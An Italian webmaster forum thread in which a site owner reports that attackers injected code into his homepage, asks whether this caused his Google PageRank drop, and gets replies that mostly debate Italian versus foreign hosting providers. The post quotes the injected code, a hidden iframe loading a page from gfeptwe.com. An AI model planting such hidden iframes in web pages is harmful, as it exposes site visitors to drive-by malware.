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Penalizzazioni a causa di gfeptwe
Ciao ragazzi,
Sono hostato su aruba, qualche giorno fa ho subito un attacco alla home del mio sito, in cui a causa di un bug di php è stato inserito il seguente codice che ho rimosso nel giro di 24 ore:
<div style="visibility:hidden"><iframe src="http://gfeptwe.com/ld/grb/" width=100 height=80></iframe></div>
Qualcuno di voi ha subito questo tipo di attacco?
Se si, hai anche visto danni nelle SERP o al PR?Per quanto mi riguarda, da quel giorno ho iniziato a notare un lieve ma costante calo del traffico, finchè oggi la mia homepage (che era a PR 5) è scesa a PR 3, mentre tutte le sottopagine (che avevano PR non nullo) sono andate a 0.
Qualcun altro ha problemi del genere?
Cosigliate di segnalare a Google che il problema è risolto?Dominio:
gameplayer.itMotori:
GooglePrima indicizzazione o attività:
2006Cambiamenti effettuati:
Rimozione malwareEventi legati ai link:
nuovibusiness.com/attacchi-hackers-anzi-lamers-spargete-la-voce/Sito realizzato con:
PHPCome ho aumentato la popolarità:
Link e contenutiChiavi:
giochiSitemaps:
Si
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La segnalazione che google prevede al momento è quella di reinclusione in caso di ban o nel caso in cui sono loro a riportarti problemi e ti danno la possibilità di correggerli.
Il fatto che tu abbia corretto da solo l'errore in un tempo estremamente basso, google avrà si visto il problema, ma a buon bisogno non ti aveva ancora bollato.
A mio avviso tempo un paio di passaggi e gg ti rimette in carregiata.
Ma un consiglio vero, butta via aruba.
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@moroandrea said:
Ma un consiglio vero, butta via aruba.
Perchè me lo dici? Per i downtime?
E in alternativa ad aruba, quale hosting usi te?
Ciao e grazie per la risposta
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Aruba, per precedenti esperienze, non mi piace per una serie di motivi - che date le regole del forum - non mi è dato argomentare (e me ne scuso per averlo fatto prima).
Motivi tecnico pratici che - leggendo in giro- non sono il solo ad aver accusato e che generalmente si ripercuotono sulla accessibilità / facilità di gestione che ha l'utente che amministra il sito, nonchè sulla visibilità esterna.
Quindi il mio non deve essere un imperativo assoluto sul "non comprare da quello specifico hoster", perchè magari tu potrai anche trovartici bene.
E i gusti delle persone si sà, sono diversi gli uni dagli altri (per fortuna), ma era solo un consiglio di cercare e valutare meglio anche altre possibili risorse.Ce ne sono moltissime qua in Italia, ma ancor di più all'estero. Per esempio
se guardi fuori a Londra, ci sono moltissimi hosting provider che con 70-80 euro ti danno pure un servizio di reselling frazionabile come ti pare del tuo piano hosting windows. Con SQL Server, banda e spazio disco.
Quelli da 70-80 euro ovviamente non sono un granchè affidabili come supporto tecnico, li ho sperimentati di persona. Ma ad oggi lavoro bene con una ditta e pago per ogni piano di reseller che ho (e ne ho diversi) circa 300 euro all'anno, che già se li spalmi per 4-5 clienti (ma potresti infilarcene anche 50 in un singolo piano a seconda di come ti dividi le risorse) ... sono più che ripagati.Qua in Italia, al momento non sono riuscito a trovare soluzioni di hosting come quelle agli stessi costi ovviamente.
Il tutto deve essere supportato da un tuo inglese più che buono, che solitamente non ti serve, ma all'occorrenza devi saper spiegare cosa ti succede e capire cosa ti viene risposto.
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@moroandrea said:
Aruba, per precedenti esperienze, non mi piace per una serie di motivi - che date le regole del forum - non mi è dato argomentare (e me ne scuso per averlo fatto prima).
Motivi tecnico pratici che - leggendo in giro- non sono il solo ad aver accusato e che generalmente si ripercuotono sulla accessibilità / facilità di gestione che ha l'utente che amministra il sito, nonchè sulla visibilità esterna.
Quindi il mio non deve essere un imperativo assoluto sul "non comprare da quello specifico hoster", perchè magari tu potrai anche trovartici bene.
E i gusti delle persone si sà, sono diversi gli uni dagli altri (per fortuna), ma era solo un consiglio di cercare e valutare meglio anche altre possibili risorse.Ce ne sono moltissime qua in Italia, ma ancor di più all'estero. Per esempio
se guardi fuori a Londra, ci sono moltissimi hosting provider che con 70-80 euro ti danno pure un servizio di reselling frazionabile come ti pare del tuo piano hosting windows. Con SQL Server, banda e spazio disco.
Quelli da 70-80 euro ovviamente non sono un granchè affidabili come supporto tecnico, li ho sperimentati di persona. Ma ad oggi lavoro bene con una ditta e pago per ogni piano di reseller che ho (e ne ho diversi) circa 300 euro all'anno, che già se li spalmi per 4-5 clienti (ma potresti infilarcene anche 50 in un singolo piano a seconda di come ti dividi le risorse) ... sono più che ripagati.Qua in Italia, al momento non sono riuscito a trovare soluzioni di hosting come quelle agli stessi costi ovviamente.
Il tutto deve essere supportato da un tuo inglese più che buono, che solitamente non ti serve, ma all'occorrenza devi saper spiegare cosa ti succede e capire cosa ti viene risposto.grazie x le utili "dritte"!
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Ciao moroandrea e ciao a te noises,
moroandrea, credo che tu non abbia sperimentato tutte le soluzioni per poter affermare con tutta onestà che in Italia non ci sono soluzioni uguali-identiche o simili a quelle estere.Io conosco personalmente amminsitratori di provider o manteiner che quotidianamente mi psiegano ciò che succede all'utente!Non è facile!
Eppure, Io credo molto dipenda dall'investimento che si vuole fare o dalle scelte del WebMaster, dal traffico web, dall'idea che si vuole realizzare e dagli accorgimenti che si vogliono attuare in merito alla gestione e alla configurazione del proprio spazio web.Se tu calcoli che per un piano hosting normale, Aru.. incassa 30€ circa e altri ne prendono 80€ o 300€ vuol dire che la differenza c'è, e si vede sia in termini di logica che in termini di tempo per il WebM..
Tutto ciò significa che se ne paghi 300€ vuol dire che il servizio è più efficiente e che la cura del cliente da parte del provider è diversa da chi paga 30€ per spazio web, o sbaglio?
Sono solo scelte!
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ops..sorry, mantainer! scusatemi per gli errori, ma sono le 4.30
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adrianodistasi, concordo perfettemante con quanto tu dici. E ovviamente non discuto sul fatto che non si ho potuto sperimentare tutte le soluzioni qua in Italia.
Ma se inizi a fare una ricerca per hosting provider italiani, windows, con certe caratteristiche, qua in Italia sono arrivato a soluzioni di conto per cifre esagerate tipo 2000 euro anno. Stesse caratteristiche che invece ottengo comdantemente all'estero.
Come al solito, qua in Italia, siamo più cari. Poi per carità, magari questi personaggi che conosci, saranno nati da poco e avranno tutte le carte in regola come servono a me ... non lo sò.
Ma fatto stato che su 10 provider che vedi, 8 rasentano la mediocrità galoppante nel complesso (tenendo conto servizi, assistenza ecc. ecc.)
Permettini che dopo 14 anni di siti web, ne avrò provati qualcunoE per 6 anni, nemmeno ho guardato in faccia l'Europa, dirigendomi direttamente sul mercato statunitense.
In Italia su troppi aspetti dovremmo incominciare prima alla qualità del servizio e poi al profitto, invece si pensa sempre al contrario.